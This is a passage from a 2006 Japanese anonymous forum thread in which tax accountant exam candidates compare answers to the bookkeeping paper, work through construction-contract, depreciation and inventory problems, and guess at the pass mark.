24,000→12,000になって50%以上の下落で減損するんじゃないの?

476 :一般に公正妥当と認められた名無しさん:2006/08/01(火) 18:39:33 ID:tkJmRU1N
>>467
初学者なんだけど第二問14はきつ過ぎじゃね?2は飛ばすにしても1の原価割れなんて対応してないし…

…第三問が鍵と思わせといて第二問が実は鬼門なんだろうなー…

477 :一般に公正妥当と認められた名無しさん:2006/08/01(火) 18:40:38 ID:???
第二問目の問2って、一見簡単そうなんだが・・・

478 :一般に公正妥当と認められた名無しさん:2006/08/01(火) 18:41:21 ID:eKINQwNt
>>475
前期に減損してるから当期の帳簿は9,600ですよ。


479 :一般に公正妥当と認められた名無しさん:2006/08/01(火) 18:41:35 ID:???
今減価償却集計してみた

CR=10459
PL=4918

あーやばいな。減価償却全部しくった

480 :一般に公正妥当と認められた名無しさん:2006/08/01(火) 18:44:33 ID:treXHLOh
金融商品会計基準だと、金融資産を時価評価するのって
容易に換金可能だからとかなんとか書いてなかったっけ?
すぐに換金できないものって、時価評価したらだめなんじゃ?
違ってたらすんまそw

481 :一般に公正妥当と認められた名無しさん:2006/08/01(火) 18:44:44 ID:???
ついでに製造原価で加工費の按分計算やってみた。

単価@36って割り切れたからそれで間違いないかと

482 :一般に公正妥当と認められた名無しさん:2006/08/01(火) 18:45:15 ID:???
減価償却なんて配点そんなにない。

483 :一般に公正妥当と認められた名無しさん:2006/08/01(火) 18:46:29 ID:eKINQwNt
>>480
時価評価はする。するにはするが事業遂行上等の制約から直ちに換金のできない
有価証券(その他有価証券)は、評価差額を資本直入する。


484 :一般に公正妥当と認められた名無しさん:2006/08/01(火) 18:46:49 ID:0+USkKHn
てか、ここに来るようなやつはみんな受かってるよ
俺なんか自己採点16点だもん。 ホントに簿記は鬼門だ。税法は割とすんなりいったのに。
何年やっても受かる気がせん

485 :一般に公正妥当と認められた名無しさん:2006/08/01(火) 18:47:00 ID:???
それより、俺の受けた教室、試験官が藤本まりなみたいな感じで、
めっちゃかわいかった。スーツ着てた。
思わずテント張った。

486 :一般に公正妥当と認められた名無しさん:2006/08/01(火) 18:47:26 ID:???
残存価額10%、でも償却費は5%までというのはどういうこと?
B/Sは10%の価額、P/L償却費5%まで?

487 :一般に公正妥当と認められた名無しさん:2006/08/01(火) 18:48:19 ID:???
ここに残ってるのはボーダーちょうどぐらいの人ばかりじゃないかな?
大体時間内に正答がでるところは出揃ったでしょ。あとはケアレスミスの有無で合否が決まる。


488 :一般に公正妥当と認められた名無しさん:2006/08/01(火) 18:49:15 ID:tkJmRU1N
>>486
計算数値の出し方は10%、限度額は5%って理解をしているが…

まー、今回の減価償却は配点低いでしょ。どっちも

489 :一般に公正妥当と認められた名無しさん:2006/08/01(火) 18:50:20 ID:eKINQwNt
>>486
償却額を計算するときの式、○○○ × △△△ / 耐用年数

↑「残存価額10%」というのは、△のところは、0.9を使えって意味。
でも残存価額が10%未満になっても5%までなら償却してよし、と。
税法基準だな。


490 :一般に公正妥当と認められた名無しさん:2006/08/01(火) 18:50:58 ID:???
>>488
同じくその方法で出した。


491 :一般に公正妥当と認められた名無しさん:2006/08/01(火) 18:51:21 ID:???
思いっきり製造業だしすぎ。
俺会計士論文受験者だけど
製造と建設業なんておぼえてねーよ。

492 :一般に公正妥当と認められた名無しさん:2006/08/01(火) 18:52:08 ID:eKINQwNt
>>491
税理士試験受けるなら過去問ぐらい見とけよw


493 :一般に公正妥当と認められた名無しさん:2006/08/01(火) 18:52:15 ID:???
>>491
なんちゃって会計士受験生だろw

494 :一般に公正妥当と認められた名無しさん:2006/08/01(火) 18:52:49 ID:tkJmRU1N
O原の上級の人に聞きたいんだけど、二門1の、原価割れ建設業ってやった?

495 :一般に公正妥当と認められた名無しさん:2006/08/01(火) 18:53:01 ID:???
ていうか第2問って12点も取れる?


496 :一般に公正妥当と認められた名無しさん:2006/08/01(火) 18:53:49 ID:???
5%償却とかなくなるんだろ?

497 :一般に公正妥当と認められた名無しさん:2006/08/01(火) 18:54:14 ID:???
>>491
どんまい。まあ税理士簿記論を目標に対策してきた奴でもガンガン落ちるからしょうがない。
でも1問目C/Fは全問正解だったしょ。

498 :一般に公正妥当と認められた名無しさん:2006/08/01(火) 18:56:03 ID:???
>>494
原価割れって、損失引当のやつ?

499 :一般に公正妥当と認められた名無しさん:2006/08/01(火) 18:56:48 ID:???
アドリブでなんとかなるだろ。

500 :一般に公正妥当と認められた名無しさん:2006/08/01(火) 18:57:42 ID:???
来年の直前期対策に原価割れ建設業会計がプラスされるなw

501 :一般に公正妥当と認められた名無しさん:2006/08/01(火) 18:57:45 ID:tkJmRU1N
>>498
そそ。

502 :一般に公正妥当と認められた名無しさん:2006/08/01(火) 18:59:35 ID:???
すべては第三問で決まる!!!!

503 :一般に公正妥当と認められた名無しさん:2006/08/01(火) 19:00:03 ID:???
問2の売価還元
どうみても解きやすい問題だったと思うんだが
ちゃんと細かい指示もあったし、配点が低いとは考えられないけど…

504 :一般に公正妥当と認められた名無しさん:2006/08/01(火) 19:00:10 ID:DV8bkPo4
やったよー。損失引当の部分もなんとか当てた

505 :一般に公正妥当と認められた名無しさん:2006/08/01(火) 19:00:50 ID:???
受かれば先生と呼ばれ、
落ちれば何もないか・・なんて試験だ。

506 :一般に公正妥当と認められた名無しさん:2006/08/01(火) 19:03:09 ID:vSqqI5fi
なんかわかんなくなってきたな
ボーダーが高いような、でも意外とできていないような
ま、とりあえず今日は飲むか

507 :一般に公正妥当と認められた名無しさん:2006/08/01(火) 19:04:01 ID:???
簿記論はボーダーでものすごい団子状態。まだ誰が受かるか落ちる分かるものでない。


508 :一般に公正妥当と認められた名無しさん:2006/08/01(火) 19:07:39 ID:???
配点は完全に1箇所2点じゃないかな?
そう考えると第3問の減価償却絡みは大切っぽいけど
完答できてる人はそんないないんじゃないかな?

損失引当ってどーやってだすんだろ?
最終的に1万赤がでるのはわかるけど、それを全額当期に計上するのか?

509 :一般に公正妥当と認められた名無しさん:2006/08/01(火) 19:10:47 ID:???
ボーダーは50点前後くらいだろうな。


510 :一般に公正妥当と認められた名無しさん:2006/08/01(火) 19:12:14 ID:???
>>509
そうであってほしいが正直55はいくと思う。


511 :一般に公正妥当と認められた名無しさん:2006/08/01(火) 19:13:18 ID:???
今回の試験は、配点調整を極力しないようになってたような
きがする。だから一つ2点をベースにして、残り2点を調整するんじゃ
ないか?

512 :一般に公正妥当と認められた名無しさん:2006/08/01(火) 19:13:24 ID:???
>>508
そうだよ。国際会計基準の計算の仕方。

513 :一般に公正妥当と認められた名無しさん:2006/08/01(火) 19:14:00 ID:DV8bkPo4
>>508
赤字1万のうち、当期までの損失部分と、次期以降の工期に発生する損失部分とに分けて、
次期以降の部分を引当金繰入として計上する

514 :一般に公正妥当と認められた名無しさん:2006/08/01(火) 19:15:06 ID:???
2chでボーダー議論してると、最善の解答がボーダーになってしまうから
発表まで心臓に悪い、と思いつつ覗いてしまう。

515 :一般に公正妥当と認められた名無しさん:2006/08/01(火) 19:16:44 ID:???
>>512
やってもうた。。。
算出してけしてもうたfsんbだ:こ@hteてゃht

516 :一般に公正妥当と認められた名無しさん:2006/08/01(火) 19:18:46 ID:???
>>512-513
ありがと 
つーことは当期は赤でないから翌期に出る分の1万が引当されるてことですね?

わかったのは嬉しいけど 当分でないだろうな、これ

517 :一般に公正妥当と認められた名無しさん:2006/08/01(火) 19:19:32 ID:???
てか大原一般クラスの人間に第二問12点も取れる人間本当にいるのか?

518 :一般に公正妥当と認められた名無しさん:2006/08/01(火) 19:22:16 ID:???
おい!どこのどいつだ!日商簿記1級より簡単とかいった奴は!


519 :一般に公正妥当と認められた名無しさん:2006/08/01(火) 19:24:01 ID:DV8bkPo4
>>516
問題用紙もっかい見て計算すれば、当期までに請負価格と原価との差で7800の損失が出てるでしょ?

完成時の10000の損失のうち、その7800を差し引いて2200を引当金繰入とした。LECの解答速報もそれで合ってる
変更の可能性有りとは書いてるけど。

520 :一般に公正妥当と認められた名無しさん:2006/08/01(火) 19:25:27 ID:???

>>519
逆で計上しちゃったwwwww
逝ってきますwwwwっうぇえうぇえwwwww

521 :一般に公正妥当と認められた名無しさん:2006/08/01(火) 19:26:51 ID:???
第3問の模範解答まだー?

522 :一般に公正妥当と認められた名無しさん:2006/08/01(火) 19:27:11 ID:DV8bkPo4
>>517
一応自分は建設業全部正解した。第一問はミス2個くらい

やっぱ結果は第三問みたいで。

523 :一般に公正妥当と認められた名無しさん:2006/08/01(火) 19:28:12 ID:x/LWGUCT
>>517
会計士受験生ですが、多分第2問はそんなに出来てる人いないと思います。
出来てると思って解答速報見ると思ったほど出来てません。
第一問は、会計士受験生は有利です。
結局、第一問と第3問の出来で決まると思います。

税理士の簿記論って、難しいというよりいやらしいですね〜。
去年、財表受かったので、今年簿記受かれば免除使えるんですけど、厳しいかな?


524 :一般に公正妥当と認められた名無しさん:2006/08/01(火) 19:28:50 ID:???
>>514
実際は
14-10-18
くらいがボーダーになるから安心汁

525 :一般に公正妥当と認められた名無しさん:2006/08/01(火) 19:29:40 ID:???
       ____
     /      \
   /  _ノ  ヽ、_  \
  / o゚((●)) ((●))゚o \  第一問ノーミスだけど…
  |     (__人__)    |
  \     ` ⌒´     /



       ____
     /      \
   /  _ノ  ヽ、_  \
  /  o゚⌒   ⌒゚o  \  第二問、第三問撃沈したお…
  |     (__人__)    |  
  \     ` ⌒´     /



       ____
     /⌒  ⌒\
   /( ●)  (●)\
  /::::::⌒(__人__)⌒::::: \   来年もよろしくな!
  |     |r┬-|     |
  \      `ー'´     /



526 :一般に公正妥当と認められた名無しさん:2006/08/01(火) 19:30:33 ID:???
その都度端数処理ってわかりにくいんだよ。
せめて最後に端数処理にしてくれよ。



527 :一般に公正妥当と認められた名無しさん:2006/08/01(火) 19:31:47 ID:???
出てました。損失7,800

ありがとうございます

528 :一般に公正妥当と認められた名無しさん:2006/08/01(火) 19:33:16 ID:???
胃が痛くなってきたお・・・

529 :一般に公正妥当と認められた名無しさん:2006/08/01(火) 19:38:00 ID:???
去年財表受かったし、楽勝かなと鷹を括ってました。
答練でも上位常連でした。
でも第二問4点です。
だってやったことないんだもん。解けるかよ。こんなもん。

530 :一般に公正妥当と認められた名無しさん:2006/08/01(火) 19:39:46 ID:???
もうダメぽ
あとは、採点ミスや合格者間違えで
俺を合格させてください

いれこみすぎて、かかっちまったorz

531 :一般に公正妥当と認められた名無しさん:2006/08/01(火) 19:41:15 ID:???
LECが大当たりだったみたい!並○先生ってのがズバリ当てたみたいよ。
1・2問目を。

来年はLECにしよっかな〜

532 :一般に公正妥当と認められた名無しさん:2006/08/01(火) 19:41:33 ID:???
上位10%はダテじゃないな。

533 :一般に公正妥当と認められた名無しさん:2006/08/01(火) 19:44:21 ID:???
>>524
その安心しろといわれてるボーダーにすら届いてない俺

俺、Oの経験者クラスにいるけど、今回の問題は一般の人でも落ち着いてやれば結構出来ちゃうだろうな
なんか経験者のアドバンテージみたいなのなさそう…


534 :一般に公正妥当と認められた名無しさん:2006/08/01(火) 19:45:28 ID:tkJmRU1N
第二問はシカト、これで決定。
第二問ちゃんと解けた人ってどの講座とってたの?みんな教えてけれー!!!

535 :一般に公正妥当と認められた名無しさん:2006/08/01(火) 19:47:27 ID:W0qhCZxX
TACがキャッシュフローを捨てた理由が知りたい。
他の推定問題対策としても意味あると思うんだがな

536 :一般に公正妥当と認められた名無しさん:2006/08/01(火) 19:48:12 ID:DV8bkPo4
建設業は問題文の意味がわかればすんなりいける。引当金設定も「将来の損失見積もり額を計上する」って書いてあったし

売価還元はわかんね。捨てた

537 :一般に公正妥当と認められた名無しさん:2006/08/01(火) 19:48:37 ID:???
TACは撃沈多そうだね。

538 :一般に公正妥当と認められた名無しさん:2006/08/01(火) 19:49:21 ID:rIql7gmY
おい、お前、お前だ!お前!!



   お前! 絶対落ちるぞ!

539 :一般に公正妥当と認められた名無しさん:2006/08/01(火) 19:49:39 ID:???
>>465
問3はそれが正しい解答なら…

46点くらいだ…
ボーダー50点はいくんだろうな…
くそ!長期請負…あんな処理できねぇよ!


540 :一般に公正妥当と認められた名無しさん:2006/08/01(火) 19:50:11 ID:tkJmRU1N
Oの俺はTACの撃沈希望で9月から2科目取っちゃうぞー☆

541 :一般に公正妥当と認められた名無しさん:2006/08/01(火) 19:55:17 ID:???
会計士短答に引き続き税理士もTAC撃沈かよ

542 :一般に公正妥当と認められた名無しさん:2006/08/01(火) 19:57:20 ID:6hOBjlp8
LECの解答解説会に出席したひと…並木先生のボーダー予想を教えてくれ!



543 :一般に公正妥当と認められた名無しさん:2006/08/01(火) 19:57:45 ID:???
TACは長期請負工事はしっかりやってたの?


544 :一般に公正妥当と認められた名無しさん:2006/08/01(火) 19:59:12 ID:???
TACは長期請負工事はそれなりにやった気がする。
キャッシュフローが甘かった。

545 :一般に公正妥当と認められた名無しさん:2006/08/01(火) 19:59:44 ID:fip0JPtF
>>457は不合格決定w

546 :一般に公正妥当と認められた名無しさん:2006/08/01(火) 19:59:50 ID:???
>>543
原価割れは完全にノータッチ。
引当金はほとんできてないだろうね。


547 :一般に公正妥当と認められた名無しさん:2006/08/01(火) 20:03:03 ID:???
>>546
ほほう。つまりTAC勢は撃沈か。
なんかTAC生には悪いが喜んでいるO生の俺がいる。
ホントこの試験受けてたら性格悪くなるな。
試験は何でもそうか。

548 :一般に公正妥当と認められた名無しさん:2006/08/01(火) 20:04:59 ID:???
Oって引当金やったの?

549 :一般に公正妥当と認められた名無しさん:2006/08/01(火) 20:06:32 ID:DV8bkPo4
やってないよこっちは

550 :一般に公正妥当と認められた名無しさん:2006/08/01(火) 20:07:37 ID:???
>>548
大原一般では長期請負工事の原価割れはやらなかった。
ただ、キャッシュフローは実務家対策として似たような問題をやった。
直答でもやったかな。
ただし、ウチの講師だけかも知れないが重要性は低いと言っていた。
しかし何故か俺は神の声を聞いたのでキャッシュを重点的にやった。
3日前くらいに。ふとやってみたんだ。


551 :一般に公正妥当と認められた名無しさん:2006/08/01(火) 20:10:04 ID:???
つーか赤字の場合、工事進行基準って適用できないんじゃないの?

552 :一般に公正妥当と認められた名無しさん:2006/08/01(火) 20:10:46 ID:jhtpmAPf
第一問J166600、第三問A618079F5190R76298はちがう?

553 :一般に公正妥当と認められた名無しさん:2006/08/01(火) 20:15:50 ID:???
>>550
TはC/Fは小問のみ。講師は重要だといってたけどね。
答連で30分問題で帳簿組織2問も出すぐらいならC/F対策しろっての・・・はぁ・・・

554 :一般に公正妥当と認められた名無しさん:2006/08/01(火) 20:18:35 ID:Yy1zc8/Z
合格ライン40点台、または第二問の問2の配点少ないことを祈ります。

555 :一般に公正妥当と認められた名無しさん:2006/08/01(火) 20:18:49 ID:tkJmRU1N
それにしてもシロートはCFで面白いくらいテンパってたよなー…


…彼らを見ていると俺も合格できるかもなんて甘い幻想が現れてくる

556 :一般に公正妥当と認められた名無しさん:2006/08/01(火) 20:19:54 ID:???
1問目4つ落としたよ・・・

557 :一般に公正妥当と認められた名無しさん:2006/08/01(火) 20:19:57 ID:fip0JPtF
LECの模範解答文字化けして見れないんだけど、誰かアップしてくれませんか?

558 :一般に公正妥当と認められた名無しさん:2006/08/01(火) 20:21:58 ID:???
なんか、Oの書き込みばかり。
TAC生は1問目、2問目どれぐらい取れてるの?


559 :一般に公正妥当と認められた名無しさん:2006/08/01(火) 20:22:36 ID:???
>>551
おおっ友よ!!

でもそれ多分税法のルールだと思う
俺は所得税の理論で見た覚えがあるから、それ流用しちゃった
でも企業会計原則みたらどこにもそんな言葉ないんだよね
見落としてるのかもしれないけど




560 :一般に公正妥当と認められた名無しさん:2006/08/01(火) 20:24:16 ID:TRRre7Qe
引当金はOもやってないやん・・・

561 :一般に公正妥当と認められた名無しさん:2006/08/01(火) 20:25:15 ID:???
TAC生だが第一問16点。第二問は8点・・・
指示読まずに問2が全滅したから、他のT生はもっといってるんだろーなー

562 :簿記2級:2006/08/01(火) 20:25:59 ID:McLjeUW+
確率的に、ここに書いている人の1割しか受からない試験なんでしょ?
ボーダーが何点だろうが10人に9人は落ちるんでしょ??( ^ω^)

563 :一般に公正妥当と認められた名無しさん:2006/08/01(火) 20:26:40 ID:aOj9PQBD
あの問題が簡単だったって言ってるやつは
たぶん、問題の意味すらわかってないのだろう。
来年もよろしく。

564 :一般に公正妥当と認められた名無しさん:2006/08/01(火) 20:27:58 ID:???
売価還元より長期請負落としている奴の方が多いって事はないか?

565 :一般に公正妥当と認められた名無しさん:2006/08/01(火) 20:28:34 ID:???
工事は引当金以外は簡単じゃない?

566 :一般に公正妥当と認められた名無しさん:2006/08/01(火) 20:29:02 ID:???
さっき学校言ってきたんだが、上位1割連中はフツーに7割くらいできたとか言ってるし。
ってか60超えてるやつがゴロゴロいなくないか?みんなの周りはどう?
まじへこむ・・・orz


567 :一般に公正妥当と認められた名無しさん:2006/08/01(火) 20:29:29 ID:DV8bkPo4
所詮問題文読めるか読めないかだから、読めちゃった人は結構楽だったのでは

568 :一般に公正妥当と認められた名無しさん:2006/08/01(火) 20:31:31 ID:???
丁寧に下線まで付いてたしなぁ


569 :一般に公正妥当と認められた名無しさん:2006/08/01(火) 20:34:32 ID:???
>>565
俺は長期請負は2、3、4の3問しか合ってなかった…
もし他の受験生も同じ間違いばかりだったら、
配点が多くなったり…しないかな…

売価還元を12以外は合わせたんで何とかボーダー入り


570 :一般に公正妥当と認められた名無しさん:2006/08/01(火) 20:39:43 ID:Yy1zc8/Z
ごめん、>>552に答えて・・・

571 :一般に公正妥当と認められた名無しさん:2006/08/01(火) 20:40:19 ID:tkJmRU1N
>>570
ごめん、しらん。

572 :一般に公正妥当と認められた名無しさん:2006/08/01(火) 20:41:02 ID:???
>>568
確かにw
学校の問題でもあんな親切なことはあまりないよね

ただ売価還元低価法をしってる人がどれだけいるかわからんけど
去年辛酸なめた人は出来ると思うが

573 :一般に公正妥当と認められた名無しさん:2006/08/01(火) 20:42:41 ID:???
どの売価を使うかだけが分かれ道ですね
でもあとに書いてある売価使いたくなるよね

574 :一般に公正妥当と認められた名無しさん:2006/08/01(火) 20:46:57 ID:aOj9PQBD
>566
今年は解答の復元の必要もないから、解答見て
出来てるって人は受かると思う。
ただ例年、一発解答でなく、集計が必要な問題は
簡単な集計でも以外と点数がのびないのです。

575 :一般に公正妥当と認められた名無しさん:2006/08/01(火) 20:47:14 ID:fip0JPtF
ところで第一問の8って771400じゃない?

576 :一般に公正妥当と認められた名無しさん:2006/08/01(火) 20:49:50 ID:???
>>575
つ http://www.lec-jp.com/zeirishi/kaitou/pdf/bokiron.pdf

問1、問2は↑で大体決まりだろ

問3の模範解答まだー?

577 :一般に公正妥当と認められた名無しさん:2006/08/01(火) 20:52:23 ID:???
TAC勢はキャッシュできないってどのくらいできないの?
もうほとんど壊滅状態?

578 :一般に公正妥当と認められた名無しさん:2006/08/01(火) 20:52:35 ID:fip0JPtF
ごめんね、携帯じゃ見れないんだよ・・・

579 :一般に公正妥当と認められた名無しさん:2006/08/01(火) 20:53:08 ID:???
キャッシュ嫌いだったけど頭沸かしながらなんとか解いてきました

580 :一般に公正妥当と認められた名無しさん:2006/08/01(火) 20:53:27 ID:???
第二問の問2って大原の現地配布の解答速報の値は間違いで、LECの速報が正解なんですか?

そうなら6点失った。。。

581 :一般に公正妥当と認められた名無しさん:2006/08/01(火) 20:55:49 ID:fip0JPtF
誰か第一問の8を教えてください。

582 :一般に公正妥当と認められた名無しさん:2006/08/01(火) 20:56:15 ID:???
785800

583 :一般に公正妥当と認められた名無しさん:2006/08/01(火) 20:56:16 ID:McLjeUW+
TAC勢からはおそらく若干しか合格者でないんじゃないかね。
もちろん僕も途中退出の勇者です^^

584 :一般に公正妥当と認められた名無しさん:2006/08/01(火) 20:56:47 ID:???
>>581
つ 785800

585 :一般に公正妥当と認められた名無しさん:2006/08/01(火) 20:57:57 ID:???
工事進行基準、税法基準でやっちまった。オワタ。

586 :一般に公正妥当と認められた名無しさん:2006/08/01(火) 21:00:35 ID:DV8bkPo4
もしかしたらだけど、その税法基準があるから、LECの引当金も変更の可能性が有るってなってるんじゃない?

まぁTACとか大原とかの速報も待ってみようぜ。出るまで気になって眠れなそうだけど

587 :一般に公正妥当と認められた名無しさん:2006/08/01(火) 21:00:42 ID:???
LECの第2問のボーダー12点ってマジ?
高すぎね?
よくて工事の10点とかじゃねーの

588 :一般に公正妥当と認められた名無しさん:2006/08/01(火) 21:01:12 ID:???
工事進行基準どうやって解くんだ…
270000*(50,000+168,400+61,600)/(311,600)=???????

589 :一般に公正妥当と認められた名無しさん:2006/08/01(火) 21:01:24 ID:fip0JPtF
サンキュー
771400じゃないんだね。
第一問第二問で正解は14箇所だ・・・

590 :一般に公正妥当と認められた名無しさん:2006/08/01(火) 21:03:16 ID:jhtpmAPf
大原の8/3の17時からに期待しましょ

591 :一般に公正妥当と認められた名無しさん:2006/08/01(火) 21:03:43 ID:???
>>589
LECでは問1,2あわせてボーダー26としてるから
1箇所2点配点としても今の段階ではセーフ

592 :一般に公正妥当と認められた名無しさん:2006/08/01(火) 21:04:01 ID:???
>>586
いや、あれはただ単に10,000千円の引当金の可能性じゃないの?

593 :一般に公正妥当と認められた名無しさん:2006/08/01(火) 21:05:26 ID:???
問1満点じゃなく、
売価還元+長期請負を両方ミスったら終わりなのかな
問3も取れて18点くらいだろうな…

594 :一般に公正妥当と認められた名無しさん:2006/08/01(火) 21:07:07 ID:???
oの模範解答の信憑性はどうよ?

595 :一般に公正妥当と認められた名無しさん:2006/08/01(火) 21:07:21 ID:DV8bkPo4
>>592

税法はどんな規定でやるかわからないけど、将来の見積もり損失を繰り入れるって指示があるから、10,000の可能性は微妙だと思うけど・・・

10,000繰入すると将来どころか当期の分まで計上しちゃうし

596 :一般に公正妥当と認められた名無しさん:2006/08/01(火) 21:07:45 ID:fip0JPtF
>>591
サンキュー

売上原価を578200を572800に転記ミスしちゃった・・・

597 :一般に公正妥当と認められた名無しさん:2006/08/01(火) 21:08:01 ID:???
>>588
分母の311,600がよくわからんが
270,000*(50,000+168,400)/280,000=210,600でしょ
んで前期計上分の完成高54,000を引く、と

598 :一般に公正妥当と認められた名無しさん:2006/08/01(火) 21:12:15 ID:???
簿財ともに退職給付が出てない件について。TACへの嫌がらせか?

599 :一般に公正妥当と認められた名無しさん:2006/08/01(火) 21:13:47 ID:???
退職給付は大原も結構やったらおあいこ
タックがどんだけやったのかわからないけど

600 :一般に公正妥当と認められた名無しさん:2006/08/01(火) 21:14:26 ID:???
どう低く見積もってもボーダーは7割弱と思われ。

601 :一般に公正妥当と認められた名無しさん:2006/08/01(火) 21:15:57 ID:DV8bkPo4
たっかいなぁ。。第三問計算ミスでかなり自爆ったから、いっても60くらいorz

602 :一般に公正妥当と認められた名無しさん:2006/08/01(火) 21:16:12 ID:???
>>600
氏んでくれ

603 :一般に公正妥当と認められた名無しさん:2006/08/01(火) 21:19:35 ID:???
7割はちょっと高すぎのような気が駿河
でも予備校採点で60点くらいはないとだめぽそう。
合格率が20%にもどれば50点半ばでも可能性見えてくるな。

604 :一般に公正妥当と認められた名無しさん:2006/08/01(火) 21:22:24 ID:jhtpmAPf
48は99パー不合格?

605 :一般に公正妥当と認められた名無しさん:2006/08/01(火) 21:23:44 ID:???
当初の見積工事原価が250000で、
前期50000+当期168400+次期見積31600(差額)
これに+追加見積61600で工事原価は311600になると考えてた…

工事原価が280000になるのか…orz


606 :一般に公正妥当と認められた名無しさん:2006/08/01(火) 21:23:49 ID:???
>>604
俺もだいたいそれ位だ。

607 :一般に公正妥当と認められた名無しさん:2006/08/01(火) 21:24:57 ID:???
俺たぶん46くらいだ…
また不合格か…


608 :一般に公正妥当と認められた名無しさん:2006/08/01(火) 21:26:01 ID:???
みんな問3はどうやって採点したんだ?
模範解答ないじゃん

609 :一般に公正妥当と認められた名無しさん:2006/08/01(火) 21:26:25 ID:???
結果を早く知りすぎるのは命に関わるぞ

610 :一般に公正妥当と認められた名無しさん:2006/08/01(火) 21:27:30 ID:???
てかボーダー50前後じゃないのか?
LECのボーダー予想では14、12としているぞ

611 :一般に公正妥当と認められた名無しさん:2006/08/01(火) 21:29:07 ID:???
俺もこの分母がわからない。
当初の250,000で計算した。
270,000*(50,000+168,400)/280,000=210,600

当期末に計算して赤字になりそうなことが分かったから、
引当金計上するんじゃないの?

612 :一般に公正妥当と認められた名無しさん:2006/08/01(火) 21:29:55 ID:???
大原とタックを待とうよ

613 :一般に公正妥当と認められた名無しさん:2006/08/01(火) 21:30:01 ID:???
LECのボーダーは毎年極端に低すぎるんだよなあ。
去年なんて30〜34とかにしてたし。あふぉかと。

614 :一般に公正妥当と認められた名無しさん:2006/08/01(火) 21:31:54 ID:???
俺は今のところLECより、大原が配ってた模範解答を信じるね。
ていうか信じたい。

615 :一般に公正妥当と認められた名無しさん:2006/08/01(火) 21:32:54 ID:fip0JPtF
第三問はどうやって点数分かったの?
自信があるところは
@808901
C17052
E6438
F5190
H125
N65053
P4219
R87932
S15287
22 136320
23 133992
24 10842
違いますか??

616 :一般に公正妥当と認められた名無しさん:2006/08/01(火) 21:33:09 ID:???
>>614
Oの回答はどうなの?

617 :一般に公正妥当と認められた名無しさん:2006/08/01(火) 21:34:39 ID:DV8bkPo4
4の棚卸減耗損は単位引っ掛けある。千円未満四捨五入で17

618 :一般に公正妥当と認められた名無しさん:2006/08/01(火) 21:35:15 ID:???
>>617
俺も気づいてよかった

619 :一般に公正妥当と認められた名無しさん:2006/08/01(火) 21:35:47 ID:???
>>616
>>395

620 :一般に公正妥当と認められた名無しさん:2006/08/01(火) 21:36:18 ID:fip0JPtF
>>617
やられた。
21 1740も自信がある。

621 :一般に公正妥当と認められた名無しさん:2006/08/01(火) 21:36:36 ID:???
売価還元はLECが正しいでしょ
問題の指示に従えばこの答えになる。

622 :一般に公正妥当と認められた名無しさん:2006/08/01(火) 21:39:26 ID:???
>>605
あー日本語を読み間違えですね、もったいない
追加されるのが61,600なんじゃなくて追加分(30,000)を追加した後の見積原価が61,600だと思いますよ
確かに新たに必要な分が61,600とみえなくもない資料ですね、これ

623 :一般に公正妥当と認められた名無しさん:2006/08/01(火) 21:46:51 ID:DV8bkPo4
9の社債発行差金償却も違うかも。もっかい計算しなおしたら291.6666って割り切れないから四捨五入で292じゃない?

624 :一般に公正妥当と認められた名無しさん:2006/08/01(火) 21:47:07 ID:fip0JPtF
キャッシュフローの営業収入に割引分入れ忘れてた。
前日に押さえていたのに・・・

625 :一般に公正妥当と認められた名無しさん:2006/08/01(火) 21:47:28 ID:???
四捨五入するのがかなりあったと記憶してる

626 :一般に公正妥当と認められた名無しさん:2006/08/01(火) 21:50:10 ID:fip0JPtF
社債発行差金は1500×5ヶ月÷60ヶ月=125になりませんか?

627 :一般に公正妥当と認められた名無しさん:2006/08/01(火) 21:50:38 ID:???
問3の18ってさ
75311としてる人が多いみたいだけど、
「その都度四捨五入」でやると75314にならない?

半年後との償却原価法(利息法)の適用
13,440*2.4%=322.56→323
323*6/12=161.5→162

こういう風にその都度四捨五入して75314になってしまた。
やっぱり間違ってるのかな…orz


628 :一般に公正妥当と認められた名無しさん:2006/08/01(火) 21:52:59 ID:???
単位を円と勘違いして000をつけちゃったんだが、これって即死??

629 :一般に公正妥当と認められた名無しさん:2006/08/01(火) 21:53:10 ID:fip0JPtF
ごめん社債発行差金はイージーミスだったよ。
全答練10%以内に入ってたのに・・・
もう来年は無理かな・・・

630 :一般に公正妥当と認められた名無しさん:2006/08/01(火) 21:53:26 ID:???
答案に千円って印刷されてたからそれはちょっと

631 :一般に公正妥当と認められた名無しさん:2006/08/01(火) 21:54:14 ID:???
一昨年の第一問で円単位救済という歴史はあるにはある。

632 :一般に公正妥当と認められた名無しさん:2006/08/01(火) 21:55:39 ID:???
以下、俺様の回答!!間違いあったら言ってくれ!

@808901AB捨てC17D92255E捨てF5190G328H292I188J20400K9764
L24862M153130N65053O10280P4219Q75311R76298S1528
21 1740 22 136320 23 132990 24,25捨て                                    
これでもtacでは常に1割入ってたけどまた来年かな??
すれ違いだが消費の理論も糞過ぎてやってらんない。俺の1年を返して欲しいよ。

633 :一般に公正妥当と認められた名無しさん:2006/08/01(火) 22:03:46 ID:???
退職給付の制度間移行なんてやらないで
基礎を固めとくんだった



634 :一般に公正妥当と認められた名無しさん:2006/08/01(火) 22:03:59 ID:???
あの人の報告まだですか?

635 :一般に公正妥当と認められた名無しさん:2006/08/01(火) 22:07:05 ID:jhtpmAPf
1個2点として46。コレはもうガチなんだ。あとは傾斜配点に身を委ねるよ。。

636 :一般に公正妥当と認められた名無しさん:2006/08/01(火) 22:07:34 ID:DV8bkPo4
>>615
あと労務費は133990だと思う

>>632
有価証券評価損はそんなならないと思った。おそらく前期以前に評価減したやつを見逃したかと
それで税効果と投資有価証券も×と。有価証券利息はわかんね。

637 :一般に公正妥当と認められた名無しさん:2006/08/01(火) 22:08:04 ID:tStVFvSq
>>627それ以前にBが違うだろ

638 :一般に公正妥当と認められた名無しさん:2006/08/01(火) 22:10:09 ID:???
どうやら46〜50が団子状態のようだな。orz
もう、税理士諦めようかな・・・

639 :一般に公正妥当と認められた名無しさん:2006/08/01(火) 22:10:23 ID:???
問い3、21って1740なの?なんで?

640 :一般に公正妥当と認められた名無しさん:2006/08/01(火) 22:10:45 ID:???
>>634
あの人は所得税も受験するので報告は明日でしょう。

641 :一般に公正妥当と認められた名無しさん:2006/08/01(火) 22:11:13 ID:???
団子なのは58〜64くらいじゃないか?
知り合いで46なんていないぞ

642 :一般に公正妥当と認められた名無しさん:2006/08/01(火) 22:12:00 ID:???
あの人って所得税終わった後全速力で熊本駅まで走って新幹線に飛び乗って家に帰るやいやな2ちゃんに報告するって本当ですか?

643 :一般に公正妥当と認められた名無しさん:2006/08/01(火) 22:12:19 ID:???
マジ?

